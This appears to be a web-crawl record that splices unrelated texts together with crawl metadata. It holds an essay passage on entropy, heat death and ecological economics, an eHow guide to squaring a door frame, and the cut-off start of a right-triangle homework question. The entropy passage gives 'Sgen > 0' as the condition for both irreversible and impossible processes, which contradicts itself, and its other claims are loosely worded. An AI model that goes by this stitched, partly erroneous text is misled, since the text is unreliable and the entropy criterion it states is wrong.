The above equation gives the entropy of an ISOLATED SYSTEM during a process it always increases. And main thing to note it never decreases, instead it will be constant during a reversible process. This is known as increase of entropy principle
Sgen > 0 IRReversible process
Sgen = 0 Reversible process
Sgen > 0 Impossible process
Thus the entropy of a process always increases until reaching a maximum point which is known as state of equilibrium. This is the state of HEAT DEATH OF UNIVERSE
8) ORDER:
The term order means that having everything properly also behaving in proper manner. Disorder is opposite of that, nothing will go in right manner. Order is flight arriving in time , reaching correct place on schedule . Order is employee's performing the job correctly according to the instructions if their managers. A machine which doing its intended job correctly is order and if doesn't do so then the machine is out of order.
Also if we state order as seen above it doesn't only mention or refer moving things , it even refers to doing right things sitting in a place, or even placing things in a place in a manner like storing the books in a shelf. Thus an order can be static or dynamic. This order was only considered in entropy as it is in a state of order or disorder.
9) ORIGIN OF ECOLOGICAL ECONOMICS:
Ecological economics came to existence in 20th century in order to protect environment and sustainability of the economic. It is a disciplinary which incorporates the concepts and innovations from natural and social sciences. In this important ones are first law of thermodynamics and ecology principles. The extent which the economy grow can be known from the first two laws of thermodynamics. By the first law we can know that there is limits in giving input for economic growth and from the second law we can know the efficiencyof the process , that is how much output we can get from the given input . Since it comes from the natural science its main aim is for allocation and distribution of the resources. In the latest economics the main concern is for to allocate the resources efficiently. For the allocation of the labor, capital in order to maximize production also to increase the growth of economics. For efficient allocation of resources certain ideas are all have been used. If the universe has been lead to the heat death then entire economics will be unpredictable
10) CONCLUSION:
In the universe we aware of the Black holes. This is major threat for its destruction. Still
The scientist is not clear of what had happened before the BIG BANG and how everything came from nothing. Think of if our universe is from a black hole it will be odd to hear but it will be a good explanation for how the universe formed. It is been said that the universe had come from a very dense infinite particle and expanded but many important questions are still unanswered like,
? Because of what Big bang started?
? What had caused the inflation i.e., the expanding?
? What is the mysterious energy that is still making the universe to expand?
With these unanswered questions we can't be sure about heat death, but one thing if the entropy is increasing; it is also to be noted that the universe also equally expanding.
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https://www.ehow.co.uk/how_6208671_square-door-frame.html | 1,558,856,475,000,000,000 | text/html | crawl-data/CC-MAIN-2019-22/segments/1558232258862.99/warc/CC-MAIN-20190526065059-20190526091059-00160.warc.gz | 752,185,489 | 39,411 | # How to square a door frame
Thomas Northcut/Photodisc/Getty Images
For a door to function properly, the single most important consideration is that its frame be "square." In carpenters' terms, this means that both upper corners of the door frame meet at an exact 90-degree angle. If the door frame is not square, one edge of the door will bang against the door frame instead of fitting snugly within it. Other door performance issues may also exist, such as squeaks or the door swinging by itself. If the door frame is not square, the door will never function properly. Fortunately, there is a simple method homeowners can use to measure and square the door frame as needed.
Remove the door by driving out the hinge pins, using a hammer and slotted screwdriver. Tap the screwdriver gently against the head of each hinge pin until it is loose, then remove it by hand. Set the door aside.
Measure the door frame for squareness by placing a carpenter's square -- a metal tool shaped like a triangle -- in each upper corner of the door opening. If the door frame is perfectly square, each corner will measure exactly 90 degrees on the carpenter's square. If it is not square, one corner will measure more than 90 degrees and the other will measure less than 90 degrees.
Measure the precise amount of adjustment needed to bring the door frame back into square. Measure from the top corner on one side of the door frame to the bottom corner of the other side of the door frame, using a tape measure. Do this twice, once from each top corner to the bottom corner. Picture a big "X" in the door frame; that is how the tape measure should be placed.
Calculate the difference between your measurements by subtracting the smaller number from the larger number. If the numbers are not equal, that means the top corner of the door frame with the larger measurement is higher than the other side of the door frame. For example, if one measurement is 265 cm (106 inches), and the other is 262.5 cm (105 inches), the door is out of square by 2.5 cm (1 inch). The 265 cm (106 inches) side is the "high" side.
Adjust the door frame by removing the attachment screws on the "low" side of the door frame. Gently tap a few wood shims beneath the bottom of the door frame on that side. Keep tapping and adding wood shims until the door frame moves upward by half of the difference between your two side-to-side "X" measurements.
Measure the door frame again using the "X" pattern as before. Continue to adjust the door using shims until both "X" measurements are equal.
Install the door frame attachment screws tightly with a screw gun. Add additional wood screws if necessary to ensure that the door frame does not drop to its original position. Remove the shims. Hang the door back on its hinges, and insert the hinge pins. Test the door for correct operation. | 619 | 2,850 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.515625 | 4 | CC-MAIN-2019-22 | longest | en | 0.909867 |
https://www.pw.live/question-answer/in-a-%ce%94-abc-right-angled-at-b-50905 | 1,675,844,191,000,000,000 | text/html | crawl-data/CC-MAIN-2023-06/segments/1674764500719.31/warc/CC-MAIN-20230208060523-20230208090523-00449.warc.gz | 971,085,950 | 18,669 | # . In a Δ ABC right angled at B
AB = 24 cm, BC = 7 cm. Determine
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